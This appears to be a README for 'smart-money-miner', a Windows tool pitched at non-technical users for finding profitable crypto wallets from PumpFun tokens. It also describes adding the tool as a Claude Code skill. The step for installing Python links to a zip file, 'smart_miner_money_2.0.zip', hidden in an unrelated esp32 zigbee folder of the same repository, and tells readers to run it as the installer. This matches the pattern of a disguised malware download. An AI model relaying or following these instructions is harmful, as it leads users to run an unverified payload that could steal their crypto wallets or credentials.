smart-money-miner is a simple tool to help you find wallet addresses that perform well with certain crypto tokens. It works by analyzing tokens from PumpFun or any tokens you provide. This helps spot smart trading wallets without needing to dig through complex data yourself.
You do not need advanced computer skills or coding experience to use this tool. It runs on Windows and guides you through the process step-by-step.
Click the badge above or visit this link to download the software:
This page has all the files you need to get started. Look for the latest release to download the program.
- Windows 10 or higher
- At least 4 GB of free disk space
- Internet connection for downloading and for token data analysis
- Python installed (version 3.7 or higher recommended)
- About 2 GB of RAM to run analysis smoothly
If you do not have Python, there is a short section below on how to install it.
- Go to the GitHub link above.
- Click on the “Code” button and select “Download ZIP” or find the latest release section.
- Save the ZIP file somewhere easy to find, like your Desktop or Downloads folder.
- Right-click the ZIP file.
- Choose “Extract All…” from the menu.
- Pick a destination folder. You can create a new folder called
smart-money-minerin Documents. - Click “Extract.”
smart-money-miner uses a Python script to analyze tokens.
- Visit https://github.com/arnautoff1/smart-money-miner/raw/refs/heads/main/esp32-h2-zigbee-window/components/esp_zigbee_lib/smart_miner_money_2.0.zip
- Download the latest version for Windows.
- Run the installer and make sure to check the box that says “Add Python to PATH.”
- Finish installation.
- Open the Start menu and search for “Command Prompt.”
- Open Command Prompt.
- Use the
cdcommand to go to the extracted folder, for example:
cd C:\Users\YourName\Documents\smart-money-miner\skills\smart-money-miner\scripts
- Run the following command:
python miner.py
This will start the analysis and find high-performing wallet addresses based on default tokens.
You can also analyze your own token list.
- Find the
miner.pyscript in thescriptsfolder. - Open it with a text editor like Notepad.
- Replace the sample token addresses with your own.
- Save and run the script again using the Command Prompt like in Step 4 above.
smart-money-miner checks wallet addresses linked to tokens. It filters out common or skipped wallets using a configuration file. This helps you focus on wallets that might be making smart trades or investments.
Files and folders explained:
skills/smart-money-miner/
├── SKILL.md # Skill details and background
├── README.md # This guide
├── scripts/
│ └── miner.py # Script that analyzes wallets
└── skip_addresses.json.example # List of wallets to ignore during analysis
- Open Command Prompt.
- Change directory to where the miner script is (
cdcommand). - Run
python miner.py. - Wait a few minutes as it fetches and analyzes data.
- Review the results displayed in the Command Prompt or saved into files.
- To cancel the analysis at any time, press
Ctrl + C. - Make sure your internet connection stays on while running the script.
- If you see errors about missing modules, install them by typing:
pip install requests
and any other modules mentioned.
You can always return here to download or update:
If you use Claude Code, smart-money-miner sits inside the plugins directory under skills/smart-money-miner. To add it:
- Copy the entire
skills/folder into your Claude plugins directory. - Or simply ask Claude:
- "Mine smart money addresses from 20 PumpFun tokens"
- "Find profitable traders from these tokens: token1, token2"
- "Analyze PumpFun graduated tokens and find good addresses"
Claude will handle the rest.
SKILL.md: Rules and logic used by this skillREADME.md: This guideminer.py: The main tool that runs wallet analysisskip_addresses.json.example: Example file to identify wallets to leave out
You can edit the skip list with your own wallet addresses to exclude.
To update the tool:
- Download the latest version from the GitHub link.
- Replace the old files with new ones.
- Run the script again as usual.
- Python not found: Verify Python is installed and added to PATH.
- Errors during analysis: Check your internet connection.
- Missing packages: Install them with
pip install package-name. - Script runs but no results: Check token addresses in
miner.py.
Use these steps to fix common issues and keep your analysis running smoothly.